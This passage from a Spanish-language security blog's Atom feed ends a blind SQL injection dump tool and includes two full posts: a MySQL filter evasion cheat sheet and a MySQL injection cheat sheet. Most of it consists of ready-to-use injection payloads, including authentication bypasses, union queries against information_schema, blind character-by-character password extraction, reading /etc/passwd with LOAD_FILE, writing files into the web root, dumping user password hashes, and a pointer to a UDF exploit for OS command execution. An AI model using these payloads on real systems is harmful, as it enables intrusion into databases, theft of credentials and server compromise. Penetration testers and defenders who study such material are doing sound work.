&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;automata(sys.argv[1],tam)&lt;br /&gt;
else:&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print &quot;First of all find a url vulnerable to Blind Sqli then use the program to automatize ur dump&quot;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print &quot;Usage ./blind_sql.py &amp;lt;url&amp;gt;&quot;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print &quot;For more information visit http://s3ik0tr0n.blogspot.com&quot;
</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/6740326856853759102/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2011/08/auto-blind-sql-injection.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/6740326856853759102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/6740326856853759102'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2011/08/auto-blind-sql-injection.html' title='Auto Blind SQL Injection'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-633261769876525237</id><published>2011-08-11T13:23:00.000+02:00</published><updated>2011-08-11T13:23:57.509+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="evasion filtros"/><category scheme="http://www.blogger.com/atom/ns#" term="filter evasion"/><category scheme="http://www.blogger.com/atom/ns#" term="filtros"/><category scheme="http://www.blogger.com/atom/ns#" term="sql filter evasion"/><category scheme="http://www.blogger.com/atom/ns#" term="sqli"/><title type='text'>Evasion de Filtros para Mysql</title><content type='html'>Pequeño guia burros para saltar los filtros que se suele encontrar.&lt;br /&gt;
&lt;br /&gt;
Es una recopilacion muy buena sacada de &lt;a href=&quot;http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/&quot;&gt;WebSecc&lt;/a&gt; ire añadiendo y modificando las que vaya encontrando o descubriendo por hay para intentar hacer una guia lo mas completa posible.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;Basic filter&lt;/h2&gt;&lt;strong&gt;Comments&lt;/strong&gt;&lt;br /&gt;
‘ or 1=1#&lt;br /&gt;
‘ or 1=1– -&lt;br /&gt;
‘ or 1=1/* (MySQL &amp;lt; 5.1)&lt;br /&gt;
&#39; or 1=1;%00&lt;br /&gt;
&#39; or 1=1 union select 1,2 as `&lt;br /&gt;
&#39; or#newline&lt;br /&gt;
1=&#39;1&lt;br /&gt;
&#39; or– -newline&lt;br /&gt;
1=&#39;1&lt;br /&gt;
&#39; /*!50000or*/1=&#39;1&lt;br /&gt;
&#39; /*!or*/1=&#39;1&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Prefixes&lt;/strong&gt;&lt;br /&gt;
+ – ~ !&lt;br /&gt;
‘ or –+2=- -!!!’2&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Operators&lt;/strong&gt;&lt;br /&gt;
^, =, !=, %, /, *, &amp;amp;, &amp;amp;&amp;amp;, |, ||, , &amp;gt;&amp;gt;, &amp;lt;=, &amp;lt;=,  ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP,  LEAST, GREATEST, CAST,  CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN,  ISNULL&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Whitespaces&lt;/strong&gt;&lt;br /&gt;
%20 %09 %0a %0b %0c %0d %a0  /**/&lt;br /&gt;
‘or+(1)sounds/**/like“1“–%a0-&lt;br /&gt;
‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Strings with quotes&lt;/strong&gt;&lt;br /&gt;
SELECT ‘a’&lt;br /&gt;
SELECT “a”&lt;br /&gt;
SELECT n’a’&lt;br /&gt;
SELECT b’1100001′&lt;br /&gt;
SELECT _binary’1100001′&lt;br /&gt;
SELECT x’61′&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Strings without quotes&lt;/strong&gt;&lt;br /&gt;
‘abc’ = 0×616263&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Aliases&lt;/strong&gt;&lt;br /&gt;
select pass as alias from users&lt;br /&gt;
select pass aliasalias from users&lt;br /&gt;
select pass`alias alias`from users&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Typecasting&lt;/strong&gt;&lt;br /&gt;
‘ or true = ’1 # or 1=1&lt;br /&gt;
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1&lt;br /&gt;
‘ or ’1 # or true&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Compare operator typecasting&lt;/strong&gt;&lt;br /&gt;
select * from users where ‘a’=&#39;b’=&#39;c’&lt;br /&gt;
select * from users where (‘a’=&#39;b’)=’c’&lt;br /&gt;
select * from users where (false)=’c’&lt;br /&gt;
select * from users where (0)=’c’&lt;br /&gt;
select * from users where (0)=0&lt;br /&gt;
select * from users where true&lt;br /&gt;
select * from users&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Authentication bypass ‘=’&lt;/strong&gt;&lt;br /&gt;
select * from users where name = ”=”&lt;br /&gt;
select * from users where false = ”&lt;br /&gt;
select * from users where 0 = 0&lt;br /&gt;
select * from users where true&lt;br /&gt;
select * from users&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Authentication bypass ‘-’&lt;/strong&gt;&lt;br /&gt;
select * from users where name = ”-”&lt;br /&gt;
select * from users where name = 0-0&lt;br /&gt;
select * from users where 0 = 0&lt;br /&gt;
select * from users where true&lt;br /&gt;
select * from users&lt;br /&gt;
&lt;h2&gt;Function filter&lt;/h2&gt;&lt;strong&gt;General function filtering&lt;/strong&gt;&lt;br /&gt;
ascii  (97)&lt;br /&gt;
load_file/*foo*/(0×616263)&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Strings with functions&lt;/strong&gt;&lt;br /&gt;
‘abc’ = unhex(616263)&lt;br /&gt;
‘abc’ = char(97,98,99)&lt;br /&gt;
hex(‘a’) = 61&lt;br /&gt;
ascii(‘a’) = 97&lt;br /&gt;
ord(‘a’) = 97&lt;br /&gt;
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Strings extracted from gadgets&lt;/strong&gt;&lt;br /&gt;
collation(\N) 						// binary&lt;br /&gt;
collation(user()) 					// utf8_general_ci&lt;br /&gt;
@@time_format						// %H:%i:%s&lt;br /&gt;
@@binlog_format						// MIXED&lt;br /&gt;
@@version_comment					// MySQL Community Server (GPL)&lt;br /&gt;
dayname(from_days(401))				// Monday&lt;br /&gt;
dayname(from_days(403))				// Wednesday&lt;br /&gt;
monthname(from_days(690)) 			// November&lt;br /&gt;
monthname(from_unixtime(1))			// January&lt;br /&gt;
collation(convert((1)using/**/koi8r))									// koi8r_general_ci&lt;br /&gt;
(select(collation_name)from(information_schema.collations)where(id)=2) 	// latin2_czech_cs&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Special characters extracted from gadgets&lt;/strong&gt;&lt;br /&gt;
aes_encrypt(1,12)				// 4çh±{?”^c×HéÉEa&lt;br /&gt;
des_encrypt(1,2)				// ‚GÒ/ïÖk&lt;br /&gt;
@@ft_boolean_syntax				// + -&amp;gt;&amp;lt;()~*:&quot;&quot;&amp;amp;|&lt;br /&gt;
@@date_format					// %Y-%m-%d&lt;br /&gt;
@@innodb_log_group_home_dir		// .\&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Integer representations&lt;/strong&gt;&lt;br /&gt;
false: 0&lt;br /&gt;
true: 1&lt;br /&gt;
true+true: 2&lt;br /&gt;
floor(pi()): 3&lt;br /&gt;
ceil(pi()): 4&lt;br /&gt;
floor(version()): 5&lt;br /&gt;
ceil(version()): 6&lt;br /&gt;
ceil(pi()+pi()): 7&lt;br /&gt;
floor(version()+pi()): 8&lt;br /&gt;
floor(pi()*pi()): 9&lt;br /&gt;
ceil(pi()*pi()): 10&lt;br /&gt;
concat(true,true): 11&lt;br /&gt;
ceil(pi()*pi())+true: 11&lt;br /&gt;
ceil(pi()+pi()+version()): 12&lt;br /&gt;
floor(pi()*pi()+pi()): 13&lt;br /&gt;
ceil(pi()*pi()+pi()): 14&lt;br /&gt;
ceil(pi()*pi()+version()): 15&lt;br /&gt;
floor(pi()*version()): 16&lt;br /&gt;
ceil(pi()*version()): 17&lt;br /&gt;
ceil(pi()*version())+true: 18&lt;br /&gt;
floor((pi()+pi())*pi()): 19&lt;br /&gt;
ceil((pi()+pi())*pi()): 20&lt;br /&gt;
ceil(ceil(pi())*version()): 21&lt;br /&gt;
concat(true+true,true): 21&lt;br /&gt;
ceil(pi()*ceil(pi()+pi())): 22&lt;br /&gt;
ceil((pi()+ceil(pi()))*pi()): 23&lt;br /&gt;
ceil(pi())*ceil(version()): 24&lt;br /&gt;
floor(pi()*(version()+pi())): 25&lt;br /&gt;
floor(version()*version()): 26&lt;br /&gt;
ceil(version()*version()): 27&lt;br /&gt;
ceil(pi()*pi()*pi()-pi()): 28&lt;br /&gt;
floor(pi()*pi()*floor(pi())): 29&lt;br /&gt;
ceil(pi()*pi()*floor(pi())): 30&lt;br /&gt;
concat(floor(pi()),false): 30&lt;br /&gt;
floor(pi()*pi()*pi()): 31&lt;br /&gt;
ceil(pi()*pi()*pi()): 32&lt;br /&gt;
ceil(pi()*pi()*pi())+true: 33&lt;br /&gt;
ceil(pow(pi(),pi())-pi()): 34&lt;br /&gt;
ceil(pi()*pi()*pi()+pi()): 35&lt;br /&gt;
floor(pow(pi(),pi())): 36&lt;br /&gt;
@@new: 0&lt;br /&gt;
@@log_bin: 1&lt;br /&gt;
!pi(): 0&lt;br /&gt;
!!pi(): 1&lt;br /&gt;
true-~true: 3&lt;br /&gt;
log(-cos(pi())): 0&lt;br /&gt;
-cos(pi()): 1&lt;br /&gt;
coercibility(user()): 3&lt;br /&gt;
coercibility(now()): 4&lt;br /&gt;
minute(now())&lt;br /&gt;
hour(now())&lt;br /&gt;
day(now())&lt;br /&gt;
week(now())&lt;br /&gt;
month(now())&lt;br /&gt;
year(now())&lt;br /&gt;
quarter(now())&lt;br /&gt;
year(@@timestamp)&lt;br /&gt;
crc32(true)&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Extract substrings&lt;/strong&gt;&lt;br /&gt;
substr(‘abc’,1,1) = ‘a’&lt;br /&gt;
substr(‘abc’ from 1 for 1) = ‘a’&lt;br /&gt;
substring(‘abc’,1,1) = ‘a’&lt;br /&gt;
substring(‘abc’ from 1 for 1) = ‘a’&lt;br /&gt;
mid(‘abc’,1,1) = ‘a’&lt;br /&gt;
mid(‘abc’ from 1 for 1) = ‘a’&lt;br /&gt;
lpad(‘abc’,1,space(1)) = ‘a’&lt;br /&gt;
rpad(‘abc’,1,space(1)) = ‘a’&lt;br /&gt;
left(‘abc’,1) = ‘a’&lt;br /&gt;
reverse(right(reverse(‘abc’),1)) = ‘a’&lt;br /&gt;
insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’&lt;br /&gt;
space(0) =  trim(version()from(version()))&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Search substrings&lt;/strong&gt;&lt;br /&gt;
locate(‘a’,&#39;abc’)&lt;br /&gt;
position(‘a’,&#39;abc’)&lt;br /&gt;
position(‘a’ IN ‘abc’)&lt;br /&gt;
instr(‘abc’,&#39;a’)&lt;br /&gt;
substring_index(‘ab’,&#39;b’,1)&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Cut substrings&lt;/strong&gt;&lt;br /&gt;
length(trim(leading ‘a’ FROM ‘abc’))&lt;br /&gt;
length(replace(‘abc’, ‘a’, ”))&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Compare strings&lt;/strong&gt;&lt;br /&gt;
strcmp(‘a’,&#39;a’)&lt;br /&gt;
mod(‘a’,&#39;a’)&lt;br /&gt;
find_in_set(‘a’,&#39;a’)&lt;br /&gt;
field(‘a’,&#39;a’)&lt;br /&gt;
count(concat(‘a’,&#39;a’))&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;String length&lt;/strong&gt;&lt;br /&gt;
length()&lt;br /&gt;
bit_length()&lt;br /&gt;
char_length()&lt;br /&gt;
octet_length()&lt;br /&gt;
bit_count()&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;String case&lt;/strong&gt;&lt;br /&gt;
ucase&lt;br /&gt;
lcase&lt;br /&gt;
lower&lt;br /&gt;
upper&lt;br /&gt;
password(‘a’) != password(‘A’)&lt;br /&gt;
old_password(‘a’) != old_password(‘A’)&lt;br /&gt;
md5(‘a’) != md5(‘A’)&lt;br /&gt;
sha(‘a’) != sha(‘A’)&lt;br /&gt;
aes_encrypt(‘a’) != aes_encrypt(‘A’)&lt;br /&gt;
des_encrypt(‘a’) != des_encrypt(‘A’)&lt;br /&gt;
&lt;h2&gt;Keyword filter&lt;/h2&gt;&lt;strong&gt;Connected keyword filtering&lt;/strong&gt;&lt;br /&gt;
(0)union(select(table_name),column_name,…&lt;br /&gt;
0/**/union/*!50000select*/table_name`foo`/**/…&lt;br /&gt;
0%a0union%a0select%09group_concat(table_name)….&lt;br /&gt;
0′union all select all`table_name`foo from`information_schema`.   `tables`&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;OR, AND&lt;/strong&gt;&lt;br /&gt;
‘||1=’1&lt;br /&gt;
‘&amp;amp;&amp;amp;1=’1&lt;br /&gt;
‘=’&lt;br /&gt;
‘-’&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;OR, AND, UNION&lt;/strong&gt;&lt;br /&gt;
‘ and (select pass from users limit 1)=’secret&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;OR, AND, UNION, LIMIT&lt;/strong&gt;&lt;br /&gt;
‘ and (select pass from users where id =1)=’a&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;OR, AND, UNION, LIMIT, WHERE&lt;/strong&gt;&lt;br /&gt;
‘ and (select pass from users group by id having id = 1)=’a&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;OR, AND, UNION, LIMIT, WHERE, GROUP&lt;/strong&gt;&lt;br /&gt;
‘ and length((select pass from users having substr(pass,1,1)=’a&#39;))&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING&lt;/strong&gt;&lt;br /&gt;
‘ and (select substr(group_concat(pass),1,1) from users)=’a&lt;br /&gt;
‘ and substr((select max(pass) from users),1,1)=’a&lt;br /&gt;
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT&lt;/strong&gt;&lt;br /&gt;
‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+length(‘DocumentRoot’),10)=’a&lt;br /&gt;
‘=” into outfile ‘/var/www/dump.txt&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE&lt;/strong&gt;&lt;br /&gt;
‘ procedure analyse()#&lt;br /&gt;
‘-if(name=’Admin’,1,0)#&lt;br /&gt;
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=’a&#39;,1,0),0)#&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Control flow&lt;/strong&gt;&lt;br /&gt;
case ‘a’ when ‘a’ then 1 [else 0] end&lt;br /&gt;
case when ‘a’=&#39;a’ then 1 [else 0] end&lt;br /&gt;
if(‘a’=&#39;a’,1,0)&lt;br /&gt;
ifnull(nullif(‘a’,&#39;a’),1)&lt;br /&gt;
&lt;br /&gt;
Como siempre, seguire buscando cosas para añadir si veis que falta algo no dudeis en contestar... </content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/633261769876525237/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2011/08/evasion-de-filtros-para-mysql.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/633261769876525237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/633261769876525237'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2011/08/evasion-de-filtros-para-mysql.html' title='Evasion de Filtros para Mysql'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-8344823249354900975</id><published>2011-08-11T13:10:00.000+02:00</published><updated>2011-08-11T13:10:22.931+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="mysql cheatsheet"/><category scheme="http://www.blogger.com/atom/ns#" term="sql injection"/><category scheme="http://www.blogger.com/atom/ns#" term="sqli"/><title type='text'>Mysql Cheatsheet</title><content type='html'>Siempre viene bien tenerlo a mano, esta sacado de &lt;a href=&quot;http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet&quot;&gt;Pentestmonkey&lt;/a&gt;&lt;br /&gt;
Si pensáis que falta algo, no dudéis en avisar y iré añadiendo. &lt;br /&gt;
&lt;br /&gt;
&lt;table border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Version&lt;/td&gt; &lt;td&gt;SELECT @@version &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Comments&amp;nbsp;&lt;/td&gt; &lt;td&gt;SELECT 1; #comment&lt;br /&gt;
SELECT /*comment*/1; &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Current User &lt;/td&gt; &lt;td&gt;SELECT user();&lt;br /&gt;
SELECT system_user();&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;List Users&lt;/td&gt; &lt;td&gt;SELECT user FROM mysql.user; — priv&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;List Password Hashes&lt;/td&gt; &lt;td&gt;SELECT host, user, password FROM mysql.user; — priv&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Password Cracker&lt;/td&gt; &lt;td&gt;&lt;a href=&quot;http://www.openwall.com/john/&quot;&gt;John the Ripper&lt;/a&gt;  will crack MySQL password hashes. &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;List Privileges&lt;/td&gt; &lt;td&gt; SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs&lt;br /&gt;
SELECT host, user, Select_priv, Insert_priv, Update_priv,  Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv,  Process_priv, File_priv, Grant_priv, References_priv, Index_priv,  Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv,  Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM  mysql.user; — priv, list user privs&lt;br /&gt;
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)&lt;br /&gt;
SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;List DBA Accounts&lt;/td&gt; &lt;td&gt; SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = &#39;SUPER&#39;;&lt;br /&gt;
SELECT host, user FROM mysql.user WHERE Super_priv = &#39;Y&#39;; # priv&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Current Database&amp;nbsp;  &lt;/td&gt; &lt;td&gt;SELECT database() &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;List Databases &lt;/td&gt; &lt;td&gt;SELECT schema_name FROM information_schema.schemata; — for MySQL &amp;gt;= v5.0&lt;br /&gt;
SELECT distinct(db) FROM mysql.db — priv&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;List Columns &lt;/td&gt; &lt;td&gt;SELECT table_schema, table_name, column_name FROM  information_schema.columns WHERE table_schema != &#39;mysql&#39; AND  table_schema != &#39;information_schema&#39;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;List Tables &lt;/td&gt; &lt;td&gt;SELECT table_schema,table_name FROM information_schema.tables WHERE  table_schema != &#39;mysql&#39; AND table_schema != &#39;information_schema&#39;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Find Tables From Column Name &lt;/td&gt; &lt;td&gt; SELECT table_schema, table_name FROM information_schema.columns  WHERE column_name = &#39;username&#39;; — find table which have a column called  &#39;username&#39;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Select Nth Row&lt;/td&gt; &lt;td&gt; SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0&lt;br /&gt;
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Select Nth Char  &lt;/td&gt; &lt;td&gt;SELECT substr(&#39;abcd&#39;, 3, 1); # returns c&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Bitwise AND&amp;nbsp; &lt;/td&gt; &lt;td&gt;SELECT 6 &amp;amp; 2; # returns 2&lt;br /&gt;
SELECT 6 &amp;amp; 1; # returns 0&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt; ASCII Value -&amp;gt; Char&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;SELECT char(65); # returns A&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Char -&amp;gt; ASCII Value&lt;/td&gt; &lt;td&gt;SELECT ascii(&#39;A&#39;); # returns 65&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Casting&lt;/td&gt; &lt;td&gt;SELECT cast(&#39;1&#39; AS unsigned integer);&lt;br /&gt;
SELECT cast(&#39;123&#39; AS char);&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;String Concatenation&lt;/td&gt; &lt;td&gt; SELECT CONCAT(&#39;A&#39;,&#39;B&#39;); #returns AB&lt;br /&gt;
SELECT CONCAT(&#39;A&#39;,&#39;B&#39;,&#39;C&#39;); # returns ABC&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt; If Statement&lt;br /&gt;
&lt;/td&gt; &lt;td&gt; SELECT if(1=1,&#39;foo&#39;,&#39;bar&#39;); — returns &#39;foo&#39;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Case Statement&lt;/td&gt; &lt;td&gt; SELECT CASE WHEN (1=1) THEN &#39;A&#39; ELSE &#39;B&#39; END; # returns A&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Avoiding Quotes &lt;/td&gt; &lt;td&gt;SELECT 0×414243; # returns ABC&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Time Delay&amp;nbsp; &lt;/td&gt; &lt;td&gt;&lt;span&gt;SELECT BENCHMARK(1000000,MD5(&#39;A&#39;));&lt;br /&gt;
SELECT SLEEP(5); # &amp;gt;= 5.0.12&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Make DNS Requests&lt;/td&gt; &lt;td&gt;Impossible?&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Command Execution&lt;/td&gt; &lt;td&gt; If mysqld (&amp;lt;5.0) is running as root AND you compromise a DBA  account you can execute OS commands by uploading a shared object file  into /usr/lib (or similar).&amp;nbsp; The .so file should contain a User Defined  Function (UDF).&amp;nbsp; &lt;a href=&quot;http://www.0xdeadbeef.info/exploits/raptor_udf.c&quot;&gt;raptor_udf.c&lt;/a&gt;   explains exactly how you go about this.&amp;nbsp; Remember tofor the  target architecture which may or may not be the same as your attack  platform. &lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Local File Access&lt;/td&gt; &lt;td&gt;…&#39; UNION ALL SELECT LOAD_FILE(&#39;/etc/passwd&#39;) — priv, can only read world-readable files.&lt;br /&gt;
SELECT * FROM mytable INTO dumpfile &#39;/tmp/somefile&#39;; — priv, write to file system&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Hostname, IP Address&lt;/td&gt; &lt;td&gt;Impossible?&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Create Users&lt;/td&gt; &lt;td&gt;CREATE USER test1 IDENTIFIED BY &#39;pass1&#39;; — priv&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Delete Users&lt;/td&gt; &lt;td&gt;DROP USER test1; — priv&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Make User DBA&lt;/td&gt; &lt;td&gt;GRANT ALL PRIVILEGES ON *.* TO test1@&#39;%&#39;; — priv&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Location of DB files&lt;/td&gt; &lt;td&gt;SELECT @@datadir; &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Default/System Databases&lt;/td&gt; &lt;td&gt;information_schema (&amp;gt;= mysql 5.0)&lt;br /&gt;
mysql&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/8344823249354900975/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2011/08/mysql-cheatsheet.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/8344823249354900975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/8344823249354900975'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2011/08/mysql-cheatsheet.html' title='Mysql Cheatsheet'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-8016049260675423195</id><published>2011-08-11T12:41:00.000+02:00</published><updated>2011-08-11T12:50:55.681+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bienvenida"/><category scheme="http://www.blogger.com/atom/ns#" term="seguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="seguridad informatica"/><title type='text'>Seguridad Informatica, Intro</title><content type='html'>&lt;br /&gt;
Buenas gente, abro este blog para tratar temas de &quot;actualidad&quot; o no, sobre la seguridad informática. Publicare programitas creados por mi relacionados con el tema, por supuesto. Publicaré opiniones, manuales, y &quot;cheatsheet&quot; sobre pentesting sobre entornos web (mi tema favorito en este mundo tan amplio de la seguridad informática) &lt;br /&gt;
&lt;br /&gt;
Intentare publicar noticias sobre la informática aunque también de vez en cuando intentare poner artículos de humor y ocio (no todo es informática en esta vida) o noticias curiosas y amenas. &lt;br /&gt;
&lt;br /&gt;
Bueno sin mas que decir, un saludo y por aquí estamos! &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/8016049260675423195/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2011/08/seguridad-informatica-intro.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/8016049260675423195'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/8016049260675423195'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2011/08/seguridad-informatica-intro.html' title='Seguridad Informatica, Intro'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>